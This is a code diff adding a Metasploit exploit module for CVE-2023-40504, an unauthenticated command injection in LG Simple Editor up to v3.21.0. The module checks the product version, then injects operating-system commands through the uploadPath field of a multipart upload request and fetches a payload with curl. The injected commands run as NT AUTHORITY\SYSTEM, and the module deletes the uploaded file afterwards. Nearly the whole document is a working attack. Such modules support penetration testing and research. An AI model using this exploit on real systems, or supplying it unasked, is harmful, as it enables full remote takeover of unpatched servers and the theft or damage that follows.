|
| 1 | +class MetasploitModule < Msf::Exploit::Remote |
| 2 | + Rank = ExcellentRanking |
| 3 | + include Msf::Exploit::Remote::HttpClient |
| 4 | + prepend Msf::Exploit::Remote::AutoCheck |
| 5 | + |
| 6 | + def initialize(info = {}) |
| 7 | + super( |
| 8 | + update_info( |
| 9 | + info, |
| 10 | + 'Name' => 'LG Simple Editor Command Injection (CVE-2023-40504)', |
| 11 | + 'Description' => %q{ |
| 12 | + Unauthenticated Command Injection in LG Simple Editor <= v3.21.0. |
| 13 | + The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM. |
| 14 | + }, |
| 15 | + 'License' => MSF_LICENSE, |
| 16 | + 'Author' => [ |
| 17 | + 'rgod', # Vulnerability discovery |
| 18 | + 'Michael Heinzl' # MSF module |
| 19 | + ], |
| 20 | + 'References' => [ |
| 21 | + [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-1208/'], |
| 22 | + [ 'CVE', '2023-40504'] |
| 23 | + ], |
| 24 | + 'DisclosureDate' => '2023-08-04', |
| 25 | + 'Platform' => 'win', |
| 26 | + 'Arch' => [ ARCH_CMD ], |
| 27 | + 'Targets' => [ |
| 28 | + [ |
| 29 | + 'Windows_Fetch', |
| 30 | + { |
| 31 | + 'Arch' => [ ARCH_CMD ], |
| 32 | + 'Platform' => 'win', |
| 33 | + 'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' }, |
| 34 | + 'Type' => :win_fetch, |
| 35 | + 'Payload' => { |
| 36 | + 'BadChars' => '\\' |
| 37 | + } |
| 38 | + } |
| 39 | + ] |
| 40 | + ], |
| 41 | + 'DefaultTarget' => 0, |
| 42 | + |
| 43 | + 'Notes' => { |
| 44 | + 'Stability' => [CRASH_SAFE], |
| 45 | + 'Reliability' => [REPEATABLE_SESSION], |
| 46 | + 'SideEffects' => [IOC_IN_LOGS] |
| 47 | + } |
| 48 | + ) |
| 49 | + ) |
| 50 | + |
| 51 | + register_options( |
| 52 | + [ |
| 53 | + Opt::RPORT(8080), |
| 54 | + OptString.new('TARGETURI', [true, 'The URI of the LG Simple Editor', '/']) |
| 55 | + ] |
| 56 | + ) |
| 57 | + end |
| 58 | + |
| 59 | + # Determine if the Simple Editor instance runs a vulnerable version |
| 60 | + # copied from lg_simple_editor_rce.rb |
| 61 | + def check |
| 62 | + res = send_request_cgi( |
| 63 | + { |
| 64 | + 'method' => 'GET', |
| 65 | + 'uri' => normalize_uri(target_uri, 'simpleeditor', 'common', 'commonReleaseNotes.do') |
| 66 | + } |
| 67 | + ) |
| 68 | + |
| 69 | + return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? |
| 70 | + |
| 71 | + version = Rex::Version.new(res.get_html_document.xpath('//h2')[0]&.text&.gsub('v', '')) |
| 72 | + return Exploit::CheckCode::Unknown if version.nil? || version == 'Unknown' |
| 73 | + return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('3.21.0') |
| 74 | + |
| 75 | + Exploit::CheckCode::Safe |
| 76 | + end |
| 77 | + |
| 78 | + def exploit |
| 79 | + execute_command(payload.encoded) |
| 80 | + end |
| 81 | + |
| 82 | + def execute_command(cmd) |
| 83 | + print_status('Sending command injection...') |
| 84 | + exec_simplerce(cmd) |
| 85 | + print_status('Exploit finished, check thy shell.') |
| 86 | + end |
| 87 | + |
| 88 | + # Send command injection |
| 89 | + def exec_simplerce(cmd) |
| 90 | + filename = Rex::Text.rand_text_alpha(1..6) |
| 91 | + vprint_status("Using random filename: #{filename}.mp4") |
| 92 | + form = Rex::MIME::Message.new |
| 93 | + form.add_part('/', nil, nil, "form-data; name=\"uploadVideo\"; filename=\"#{filename}.mp4\"") |
| 94 | + form.add_part("/\"&#{cmd}&cd ..&cd ..&cd ..&cd server&cd webapps&cd simpleeditor&del #{filename}.mp4&/../", nil, nil, 'form-data; name="uploadPath"') |
| 95 | + form.add_part('1', nil, nil, 'form-data; name="uploadFile_x"') |
| 96 | + form.add_part('1', nil, nil, 'form-data; name="uploadFile_width"') |
| 97 | + form.add_part('1', nil, nil, 'form-data; name="uploadFile_height"') |
| 98 | + |
| 99 | + res = send_request_cgi( |
| 100 | + { |
| 101 | + 'method' => 'POST', |
| 102 | + 'uri' => normalize_uri(target_uri.path, 'simpleeditor', 'imageManager', 'uploadVideo.do'), |
| 103 | + 'ctype' => "multipart/form-data; boundary=#{form.bound}", |
| 104 | + 'data' => form.to_s |
| 105 | + } |
| 106 | + ) |
| 107 | + if res && res.code == 200 |
| 108 | + print_good 'Command injection sent.' |
| 109 | + else |
| 110 | + fail_with(Failure::UnexpectedReply, "#{peer}: Unexpected response received.") |
| 111 | + end |
| 112 | + end |
| 113 | + |
| 114 | +end |
0 commit comments